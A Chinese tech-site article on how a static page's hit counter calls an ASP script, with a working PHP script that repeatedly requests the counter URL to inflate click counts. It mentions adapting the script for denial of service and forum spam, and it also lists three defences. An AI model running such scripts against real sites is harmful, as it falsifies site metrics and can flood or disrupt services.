上一篇:为ASP.NET 2.0菜单控件增加target属性 >>
PHP实现自动刷数和“灌水”机
| 天极软件专题专区精选 | ||
| Google专区 | POPO专区 | QQ专区 |
| Flash MX 视频教程 | Photoshop视频教程 | 网页设计视频教程 |
| PowerPoint动画演示教程 | Excel动画教程集 | Word动画演示教程 |
| 特洛伊木马专区 | 黑客知识教程专区 | 注册表应用专区 |
| Windows API开发专区 | 网络编程专区 | VB数据库编程专区 |
| 图像与多媒体编程 | Windows Vista应用专区 | 防火墙应用专区 |
今天无意间看到一个网站,它的计数器能够在静态页里更新,我想,应该是使用js来做的,打开源代码一看,果然是:
| <div align=center><SPAN class=Article_tdbgall> 作者:未知 文章来源:Meidi.Net 点击数: <script language=’javascript’ src=’/Article/GetHits.asp?ArticleID=759’></script> 更新时间:2005-5-27</SPAN> </div> |
点击数后面是一个asp文件去处理的,那么我打开这个文件看看:
| document.write(’210’); |
是吧,就是GetHists.asp文件处理ArticleID后提取结果后输出次数:document.write(’次数’),再静态页里就能够直接引用了。
坏人终究是坏人,那么我就想,如何能够迅速提升点击数呢?手工刷新的话不是很类,恩,赶紧写个PHP程序来自动的去访问这个文件。
PHP代码如下:
| <?php /* access_url.php */ define(SUM, 1000); //需要访问的次数 define(L_TIME, 1000); //强制脚本执行的时间 define(S_TIME, 1); //每次访问之间休眠的时间 $url = "http://www.xxx.com/Article/GetHits.asp?ArticleID=759"; //需要访问的地址 set_time_limit(L_TIME); //访问指定URL函数 function access_url($url) { if ($url==’’) return false; $fp = fopen($url, ’r’) or exit(’Open url faild!’); if ($fp) { while (!feof($fp)) { $file = fgets($fp); echo $file."\n<p> </p>\n"; } unset($file); } } //进行测试 for ($i=0; $i<SUM; $i++) { access_url($url); sleep(S_TIME); } ?> |
运行上面的程序,那么就会连续访问指定的URL地址,那么自然这个访问次数就会连续增加,达到灌水的效果。如果是流量大,而且用多程序去运行的话,那么很容易就会达到拒绝服务(DoS)的效果了。如果对方的防范措施,把代码修改一下针对论坛进行提交,很容易实现论坛灌水的效果。
防范方法:
1. 代码中使用Session机制,当用户提交的时候生成一个Session ID,提交内容的时候判断是否已经提交,如果已提交那么就不允许刷。
2. 当用户提交以后记录用户的IP地址,如果指定时间内再提交的话就不允许再提交。
3. 当用户提交内容以后,在用户客户端写入Cookie,如果用户再次提交先检查客户端是否有Cookie来确定是否允许提交。
还有很多其他方法,可以去搜索一下,或者发挥自己的想象力,做的更好。
下一篇:英特尔将为开源软件建新评级标准 >>
相关文章:
- · 基础知识 Internet防火墙技术综述
- · 六大法则:交换机及路由器如何更加安全
- · Win XP中如何自动终止Blackice防火墙
- · 防火墙封阻应用攻击的八项技术
- · 玩转地球!Google Earth精度可达15米
- · 让你的“小猫”发传真技巧攻略
- · 轻松移除电骡的搜索记录
- · 小编原创:SEO工具之搜索引擎收录量查看
- · 为春节添色彩 贺卡也玩DIY
- · 让FlashGet也能断点续拷硬盘文件
- · 给你请一个磁盘整理高手 PerfectDisk
- · 让WinRAR解压文件后直接打开解压目录
- · 全新P2P网络电视TVKoo
- · IE也可玩“超级拖拽”
- · “迅雷听听”让你歌曲听不完
- · 让Nero下岗 简洁刻录软件ONES全面应用
- · 给你的WinRAR请一个好管家
- · 千万不能更新的QQ网络硬盘
- · The World浏览器秘技两则
- · 下载QQ珊瑚虫版v4.0 抵挡探隐身软件侦测
- · 腾讯QQ/TM珊瑚虫增强包v4.0最终测试版发布
- · 腾讯QQ/TM珊瑚虫外挂发布v4.0 B3版
- · 腾讯QQ/TM珊瑚虫外挂发布v4.0 B4版
- · 解决珊瑚虫QQ不能在Win2003运行的问题
- · 腾讯QQ2005 Beta3珊瑚虫版 v3.2发布
- · 腾讯QQ2005珊瑚虫版发布v3.2.1版
- · QQ/TM珊瑚虫增强包v4.1 B1增聊天机器人
- · QQ珊瑚虫增强包v4.1最终测试版发布
- · 珊瑚虫QQ/TM增强包4.1正式版发布
- · 输入代码 与珊瑚虫QQ聊天机器人对话
- · 腾讯QQ2005珊瑚虫版v4.1a发布
- · 解决珊瑚虫QQ不能在Win2003运行的问题
- · 快速学用腾讯TM:多人语音会议
- · 快速学用腾讯TM:远程协助
- · 快速学用腾讯TM:远程演示文档
- · 快速学用腾讯TM:发送和接收文件
- · 快速学用腾讯TM:设置在线状态
- · 快速学用腾讯TM:互动空间
